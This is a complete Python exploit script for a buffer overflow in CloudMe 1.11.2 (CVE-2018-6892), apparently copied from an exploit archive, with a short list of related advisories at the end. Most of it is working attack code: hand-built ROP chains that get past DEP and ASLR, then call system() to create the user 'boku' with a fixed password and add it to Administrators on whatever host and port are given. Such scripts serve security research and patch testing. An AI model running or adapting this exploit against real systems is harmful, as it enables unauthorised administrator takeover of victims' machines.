CloudMe 1.11.2 – Buffer Overflow ROP (DEP,ASLR)

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow ROP (DEP,ASLR)

# Exploit Author: Bobby Cooke (boku)

# CVE: CVE-2018-6892

# Date: 2020-09-29

# Vendor Homepage: https://www.cloudme.com/

# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe

# Version: 1.11.2

# Tested On: Windows 10 (x64) - 10.0.19041 Build 19041

# Script: Python 2.7

# Notes:

# This exploit uses MSVCRT.System to create a new user (boku:0v3R9000!) and add the new user to the

# Administrators group. A requirement of successful exploitation is the CloudMe.exe process must be

# running as adminstrator, such as when ran with 'Run as Administrator'; as this permission is required

# to create new users on the system. This exploit has been tested against multiple Windows 10 systems

# including x86, x64, Pro, Education, Home; although there is no guarantee it will work in your CTF.

# CloudMe 1.11.2 - Turing Complete Add-Admin ROP (DEP,ASLR)

import os,sys,socket,struct

from colorama import Fore, Back, Style

F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]

B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]

S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]

ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]

err = S[3]+F[2]+'<========'+F[2]+'['+F[5]+'+++'+F[2]+'( '+F[0]+S[0]

def formatMsg(STRING):

return ok+S[3]+F[5]+STRING+S[0]

def formatErr(STRING):

return err+S[3]+F[2]+STRING+S[0]

# -------------------------------------------------------------------------------------------------------

def getESP_RC():

GaDG3Tz = [

# ESP -> EDI

# Clobbers: BL # [EBX+5E5B10C4] must be writable # Requires ROPNOP

# Address=68F79000 Size=0007A000 (499712.) Owner=Qt5Core 68A80000 Section=.eh_fram Type=Imag 01001002 Access=RWE CopyOnWr

0x68bb4678, # POP EBX # RETN [Qt5Core.dll]

0x0A9C8F3C, # EBX + 0x5E5B10C4 = 0x68F7A000 = Writeable Memory

0x68d5e818, # PUSH ESP # OR BL,DL # INC DWORD PTR DS:[EBX+5E5B10C4] # POP EDI # RETN 0x04 [Qt5Core.dll]

0x68D50537, # RETN - ROPNOP

0x68D50537 # RETN - ROPNOP

]

print(formatMsg("Get ESP ROP Chain built!"))

return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def msvcrt_rop_chain():

GaDG3Tz = [

# HMODULE LoadLibraryA( LPCSTR lpLibFileName);

# $ ==> > CALL to LoadLibraryA

# $+4 > FileName = "msvcrt.dll"

# EAX = 0x512 = 1298

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFAEE, # NEG FFFFFAEE = 0x512

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EDI + EAX = End of string "msvcrt.dll"

0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]

# EAX = 0x01

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFFF, # NEG FFFFFFfF = 0x01

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EAX = 0x0

0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]

# ECX = 0x0

0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]

# Terminate String "msvcrt.dll"

0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)

0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)

0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]

# EAX = -0xA = 0xFFFFFFF6

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFF6, # -0xA

# ESI = Start of string "msvcrt.dll\x00"

0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]

# EAX = PTR LoadLibraryA (from CloudMe Import Table)

# CloudMe Address=0081A168 Section=.idata Type=Import (Known) Name=KERNEL32.LoadLibraryA

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFF7E5E98, # NEG FF7E5E98 = 0081A168 = PTR Kernel32.LoadLibraryA

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EAX = kernel32.LoadLibraryA

0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll]

# ESI = kernel32.LoadLibraryA # EAX = Addr string "msvcrt.dll\x00"

0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll]

# For PUSHAD we need: EDI=FarRETN # ESI=&LoadLibraryA # EAX=["msvcrt.dll"] # ECX=ROPNOP

0x68d32800, # POP ECX # RETN [Qt5Core.dll]

0x68D50537, # RETN - ROPNOP

0x699f37ad, # POP EDI # RETN [Qt5Network.dll]

0x6990F972, # RETN 10 [Qt5Network.dll]

0x68f7bc5e, # pushad # ret # [Qt5Core.dll]

# EAX -> EBP = msvcrt.dll

0x68cc462c # XCHG EAX,EBP # RETN [Qt5Core.dll]

# EBP = msvcrt.dll

]

print(formatMsg("LoadLibraryA(LPSTR \"msvcrt.dll\") ROP Chain built!"))

return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def GetProc_system_rop_chain():

GaDG3Tz = [

# FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName);

# $ ==> > CALL to GetProcAddress # EDX (ROPNOP)

# $+4 > hModule = [msvcrt] # ECX

# $+8 > ProcNameOrOrdinal (system) # EAX

# EAX = 0x4a2 = 1186

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFB5E, # NEG FFFFFB5E = 0x4A2

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EDI + EAX = End of string "system"

0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]

# EAX = 0x01

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFFF, # NEG FFFFFFfF = 0x01

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EAX = 0x0

0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]

# ECX = 0x0

0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]

# Terminate String "system"

0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)

0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)

0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]

# EAX = -0x6 = 0xFFFFFFFA

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFFA, # -0x6

# ESI = Start of string "system\x00"

0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]

0x68fcf58d, # DEC EBP # RETN [Qt5Core.dll](fix EBP for prev gadgets)

# EAX = PTR GetProcAddr (from CloudMe Import Table)

# CloudMe Address=0081A148 # Section=.idata # Type=Import # Name=KERNEL32.GetProcAddress

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFF7E5EB8, # NEG FF7E5EB8 = 0081A148 = PTR Kernel32.GetProcAddr

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll]

0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]

0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]

# ESI = &kernel32.GetProcAddr # ECX=["system\x00"]# EBP=msvcrt.dll

# For PUSHAD we need: EDI=FarRETN # ESI=&GetProcAddress # ECX=msvcrt.dll # EAX=["system"]# EDX=ROPNOP

# EBP -> EAX = msvcrt.dll

0x68cc462c, # XCHG EAX,EBP # RETN [Qt5Core.dll]

# ECX=&msvcrt.dll # EAX=["system\x00"]

0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]

# EDX=ROPNOP

0x68f94685, # POP EDX # RETN [Qt5Core.dll]

0x68D50537, # RETN - ROPNOP

# EDI=FarRETN

0x699f37ad, # POP EDI # RETN [Qt5Network.dll]

0x699010B4, # ret 0C [Qt5Network.dll]

# KERNEL32.GetProcAddress [ESI pushed to stack]

# [EBP pushed to stack]

# [ESP pushed to stack]

# [EBX pushed to stack]

# land after ret 0xC -> Qt5Core.68D50537 (ROPNOP) [EDX pushed to stack]

# MSVCRT.75F60000 [ECX pushed to stack]

# ASCII "system" [EAX pushed to stack]

0X68f7bc5e, # pushad # ret # [Qt5Core.dll]

0x68b1df17 # XCHG EAX,EDX # RETN # [Qt5Core.dll]

# EDX = msvcrt.system

]

print(formatMsg("GetProcAddress(HMODULE msvcrt, LPCSTR system) ROP Chain built!"))

return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def addUsr_rop_chain():

GaDG3Tz = [

# int system( const char *command);

# $ ==> > CALL to system

# $+4 > command = "net user boku 0v3R9000! /add"

# EAX = 0x438 = 1080

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFBC8, # NEG 0xFFFFFBC8 = 0x438

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EDI + EAX = End of string "net user..."

0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]

# EAX = 0x01

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFFF, # NEG FFFFFFfF = 0x01

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EAX = 0x0

0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]

# ECX = 0x0

0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]

# Terminate String "net user..."

0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)

0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)

0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]

# EAX = -28 = -0x1C = 0xFFFFFFE4

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFE4, # -28 = -0x1C

# ESI = Start of string "net user...\x00"

0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]

# EDX = MSVCRT.system # ECX=0x0

# For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net user.."] # ECX=POP+RET

0x68d32800, # POP ECX # RETN [Qt5Core.dll]

0x699f37ad, # POP EDI # RETN [Qt5Network.dll]

# ESI = MSVCRT.system # EAX = ["net user.."]

0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]

0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]

# EDI=FarRETN

0x699f37ad, # POP EDI # RETN [Qt5Network.dll]

0x6990F972, # RETN 10 [Qt5Network.dll]

# PUSHAD - Setup Call to MSVCRT.system on stack

0X68f7bc5e # pushad # ret # [Qt5Core.dll]

]

print(formatMsg("system(const char* \"net user boku 0v3R9000! /add\") ROP Chain built!"))

return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def addAdm_rop_chain():

GaDG3Tz = [

# ESI = msvcrt.system

# ESI -> EDX

0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]

0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]

# EAX = 0x3F7

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFC09, # NEG 0xFFFFFC09 = 0x3F7

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EDI + EAX = End of string "net local..."

0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]

# EAX = 0x01

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFFF, # NEG FFFFFFfF = 0x01

0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]

# EAX = 0x0

0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]

# ECX = 0x0

0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]

# Terminate String "net local..."

0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)

0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)

0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]

# EAX = -39 = -0x27 = 0xFFFFFFE4

0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]

0xFFFFFFD9, # -39 = -0x27

# ESI = Start of string "net local...\x00"

0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]

# EDX = MSVCRT.system # ECX=0x0

# For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net local.."] # ECX=ROPNOP

0x68d32800, # POP ECX # RETN [Qt5Core.dll]

0x699f37ad, # POP EDI # RETN [Qt5Network.dll]

# ESI = MSVCRT.system # EAX = ["net local.."]

0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]

0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]

# EDI=FarRETN

0x699f37ad, # POP EDI # RETN [Qt5Network.dll]

0x6990F972, # RETN 10 [Qt5Network.dll]

# PUSHAD - Setup Call to MSVCRT.system on stack

0X68f7bc5e # pushad # ret # [Qt5Core.dll]

]

print(formatMsg("system(const char* \"net localgroup Administrators boku /add\") ROP Chain built!"))

return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)

def sendRecv(s,p):

print(formatMsg("Sending payload: "))

print(S[3]+F[7]+payload+S[0])

s.send(p)

data = s.recv(1024)

return data

def header():

head = S[3]+F[2]+' --- Cloudme v1.12 | Add Admin (boku:0v3R9000!) ---\n'+S[0]

return head

def sig():

SIG = S[3]+F[4]+" .-----.._ ,--.\n"

SIG += F[4]+" | .. > ___ | | .--.\n"

SIG += F[4]+" | |.' ,'-'"+F[2]+"* *"+F[4]+"'-. |/ /__ __\n"

SIG += F[4]+" | </ "+F[2]+"* * *"+F[4]+" \ / \\/ \\\n"

SIG += F[4]+" | |> ) "+F[2]+" * *"+F[4]+" / \\ \\\n"

SIG += F[4]+" |____..- '-.._..-'_|\\___|._..\\___\\\n"

SIG += F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]

return SIG

def footer():

foot = formatMsg('Requires that the Cloudme program is ran using \'Run As Administrator\'\n')

return foot

if __name__ == "__main__":

print(header())

print(sig())

print(footer())

if len(sys.argv) != 3:

print(formatErr("Usage: python %s <IP> <PORT>" % sys.argv[0]))

print(formaterr("Example: python %s '127.0.0.1' 8888" % sys.argv[0]))

sys.exit(-1)

host = sys.argv[1]

port = int(sys.argv[2])

rop_chain = getESP_RC() + msvcrt_rop_chain() + getESP_RC() + GetProc_system_rop_chain() + getESP_RC() + addUsr_rop_chain() + getESP_RC() + addAdm_rop_chain()

os_EIP = '\41'*1052

os_nSEH = '\x41'*(2344-len(os_EIP + rop_chain))

nSEH = '\x42'*4

SEH = '\x43'*4

buff = os_EIP + rop_chain + os_nSEH + nSEH + SEH

term = '\r\n'

kern32 = 'msvcrt.dll'+'AAAAAA'

winExe = 'system'+'BBBBBB'

addUsr = 'net user boku 0v3R9000! /add'+'CCCC'

addAdm = 'net localgroup Administrators boku /add'+'DDDD'

rmdr = '\x44'*(3854-len(buff)-len(kern32)-len(winExe)-len(addAdm))

payload = buff + kern32 + winExe + addUsr + addAdm + rmdr + term

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((host,port))

print(formatMsg( "Successfully connected to "+host+" on port "+str(port)))

resp = sendRecv(sock,payload)

print(formatMsg("Closing Socket"))

sock.close()

print(formatErr("Exiting python script."))

except:

print(formatErr("Failed to connect and send payload."))

相关漏洞条目

ZTE H298A / H108N – Unauthenticated Credential Exposure

ZTE ZXHN H188A V6 – Authentication Bypass

ZTE Routers – Unauthenticated Denial of Service

ImageMagick – Infinite Loop in the MIFF decoder can lead to CPU exhaustion